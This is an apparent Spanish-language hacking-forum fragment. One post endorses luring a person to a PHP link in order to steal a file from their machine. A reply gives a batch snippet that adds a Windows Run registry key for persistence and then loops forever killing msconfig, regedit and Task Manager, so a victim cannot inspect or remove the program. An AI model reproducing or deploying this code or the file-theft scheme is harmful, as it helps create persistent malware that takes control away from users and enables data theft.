Pero la idea creo que esta buena..... ya que asi conociendo el path en el que una persona tiene un determinado archivo, bastaria con pasarle un link a la persona con nuestro php para poder llevarnos el archivo en cuestion 

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Mostrar Mensajes MenúCitarCOSATUYAes simplemente el nombre del valor que se le va a dar en el registro... es simplemente un identificador, no influye en nada, lo eliges tú
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v COSATUYA /t REG_SZ /d RUTA DE TU BAT
:u
taskkill -f -im msconfig.exe
taskkill -f -im regedit.exe
taskkill -f -im taskmgr.exe
goto u